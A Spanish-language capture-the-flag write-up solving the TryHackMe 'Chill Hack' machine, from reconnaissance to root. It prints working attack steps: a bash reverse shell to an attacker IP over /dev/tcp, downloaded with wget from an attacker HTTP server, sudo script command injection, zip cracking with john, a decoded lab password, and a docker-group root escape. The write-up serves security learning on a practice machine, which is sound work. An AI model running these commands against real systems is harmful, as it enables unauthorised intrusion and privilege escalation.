Chill Hack

¡Hola!

En este Writeup vamos a resolver la máquina Chill Hack de TryHackMe, una máquina de nivel de dificultad fácil. La podéis encontrar en el siguiente enlace:

Reconocimiento

Comprobamos que la máquina está activa y tenemos acceso a ella ejecutando un ping:

ping -c 1 <IP_máquina>

Y para empezar lanzamos nmap para detectar puertos abiertos y la versión y servicios que corren sobre ellos. Además, vamos a exportar la captura de nmap para poder consultarla más adelante si hiciera falta:

nmap -sC -sV -p- --min-rate 5000 -n -Pn <IP> -oN <NOMBRE_ARCHIVO>

La captura de nmap nos arroja los siguientes resultados:

Podemos destacar un servidor FTP al que podemos acceder sin credenciales bajo el usuario Anonymous y tendremos acceso a un archivo llamado note.txt:

Nos descargamos dicho archivo a nuestra máquina de atacante con el comando get:

get note.txt

Y si visualizamos su contenido nos encontramos con el siguiente mensaje, que nos permite enumerar dos potenciales usuarios:

Teniendo listados dos posibles usuarios, Anurodh y Apaar, podríamos intentar llevar a cabo ataques de fuerza bruta sobre el servicio SSH.

Por el momento vamos a echar un vistazo a la web que corre en el puerto 80 bajo el servicio http:

Como podemos comprobar no encontramos gran cosa, la mayoría de botones y accesos están inhabilitados así que vamos a probar a enumerar posibles rutas válidas mediante fuzzing, en esta ocasión vamos a utilizar el script http-enum de nmap:

nmap --script=http-enum -p80 <IP>

Y encontramos una ruta oculta bajo la dirección /secret:

Vamos a echar un vistazo:

Parece que se trata de una consola en la que podemos ejecutar comandos del sistema. Tras varias pruebas parece que algunos comandos no los admite debido a que se aplican algunos filtros.

Vamos a intentar crear una pequeña lista de comandos para, mediante el módulo Intruder de Burp Suite agilizar la comprobación de comandos admitidos.

Empezamos interceptando la petición:

Mandamos la petición al Intruder y definimos el campo a sustituir:

Vamos a la pestaña Payloads y creamos una pequeña lista de comandos y lanzamos el ataque:

En base a la longitud de la respuesta podemos determinar qué comandos son válidos y cuáles no. En este caso si la longitud es igual a 683 significa que el comando es inválido:

Explotación

Lo primero que probé fue intentar lanzar una reverse shell en base64, decodificarla y ejecutarla con bash con el siguiente comando: base64 -d <<< reverse_shell_base64 | bash

No tuvo éxito.

Vamos a intentar, a través del comando wget y creando un servidor http con Python, subir una reverse shell en bash directamente al directorio /tmp.

Primero creamos la reverse shell con extensión .sh:

#!/bin/bash
bash -i >& /dev/tcp/<IP_Atacante>/<Puerto> 0>&1

Iniciamos nuestro servidor http con Python:

python3 -m http.server

Con wget nos descargamos el archivo en el directorio /tmp de la máquina víctima:

wget http://<IP_atacante>:<Puerto>/reverse-shell.sh -O /tmp/reverse-shell.sh

Comprobamos a través del log de nuestro servidor http que se ha realizado la petición correctamente:

Dado que el comando find si funciona voy a listar los elementos que contiene la carpeta tmp, y ¡ahí está nuestra reverse shell!

Ponemos netcat en escucha:

nc -lvp <Puerto>

Vamos a intentar ejecutarla desde la consiola de comandos y...

Parece que no hace nada, ¿será por los permisos?

Le otorgamos permisos completos con chmod:

chmod 777 /tmp/reverse-shell.sh

¡Y ahora sí! Nuestra reverse shell se ejecuta y estamos dentro:

Post Explotación

Ahora que tenemos una consola bajo el usuario www-data vamos a proceder a la fase de escalada de privilegios.

Primero realizamos un tratamiento de la TTY para movernos con más soltura por el sistema, puedes encontrar como hacerlo en el siguiente enlace:

Ejecutamos sudo -l para listar binarios que podamos ejecutar como otro usuario y descubrimos que podemos ejecutar un binario llamado .helpline.sh como el usuario apaar:

Vamos a echar un vistazo al código del programa:

Parece que la variable msg se ejecuta como un comando del sistema así que vamos a aprovecharnos de esta vulnerabilidad para lanzar una shell bajo el usuario apaar de siguiente forma:

sudo -u apaar /home/apaar/.helpline.sh # Ejecutamos el programa como el usuario apaar
Nombre # Introducimos un nombre cualquiera
bash # Lanzamos una pseudo consola dentro del programa
whoami # Comprobamos que hemos cambiado al usuario apaar

Para lanzar una shell interactiva bajo el usuario apaar podemos hacerlo utilizando Python con el siguiente comando:

python3 -c 'import pty; pty.spawn("/bin/sh")'
bash

La máquina solo dispone de la versión 3 de Python

Bajo el directorio /home/apaar/ podemos encontrar la flag de usuario de bajos privilegios.

Escalada de privilegios

Después de un buen rato explorando el sistema encontramos en el directorio /var/www/files/ un archivo php algo sospechoso por su nombre; hacker.php. Cuando listamos el contenido del archivo obtenemos la ruta de una imagen junto a una pequeña pista:

Vamos a probar a traernos la imagen a nuestra máquina y a hacerle stego. Para ello nos movemos al directorio /var/www/files/images e iniciamos un servidor http con Python:

python3 -m http.server

Con wget nos traemos la imagen a nuestra máquina de atacante:

wget http://<IP>:<Puerto>/hacker-with-laptop_23-2147985341.jpg

Utilizamos steghide para extraer información oculta de la imagen:

steghide extract -sf hacker-with-laptop_23-2147985341.jpg

Y con esto nos extrae un archivo llamado backup.zip. Si intentamos extraer su contenido comprobamos que está protegido con contraseña así que vamos a usar zip2john y john para intentar crackear la contraseña:

zip2john backup.zip > backup_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt backup_hash.txt

Y john nos reporta la contraseña para descomprimir el archivo.

Ahora sí, vamos a proceder a extraer el contenido de backup.zip:

Al examinar el contenido de source_code.php podemos ver que hace referencia a uno de los usuarios anteriormente descubiertos; Anurodh y que contiene lo que parece ser un password codificado en base64:

Procedemos a decodificarlo:

echo "IWQwbnRLbjB3bVlwQHNzdzByZA==" | base64 -d

Con estas credenciales podremos iniciar sesión como el usuario Anurodh.

Listamos los grupos a los que pertenece el usuario con id:

Y comprobamos que el usuario pertenece al grupo docker. Vamos a echar un vistazo a GTFObins a ver qué podemos con la capacidad de ejecutar docker desde una shell.

Ejecutamos el comando que nos sugiere GTFObins y...

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

¡Bam! Conseguimos una shell de altos privilegios como root 😎

Y con esto ya podemos visualizar la flag de root que se encuentra bajo la ruta /root/.

⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯

Espero que este Writeup te haya sido de utilidad, si tienes alguna duda, sugerencia o simplemente te interesa este tipo de contenido no dudes en seguirme a través de cualquiera de mis redes sociales:

📝 LinkedIn ⮞ https://www.linkedin.com/in/david-rodriguez-ramos/ ▶️ YouTube ⮞ https://www.youtube.com/c/xerosec 🐦 Twitter ⮞ https://twitter.com/xerosec 🔴 Twitch ⮞ https://www.twitch.tv/xerosec 💬 Discord ⮞ https://discord.gg/E4AjK2XsFm

¡Gracias por llegar hasta aquí!

Última actualización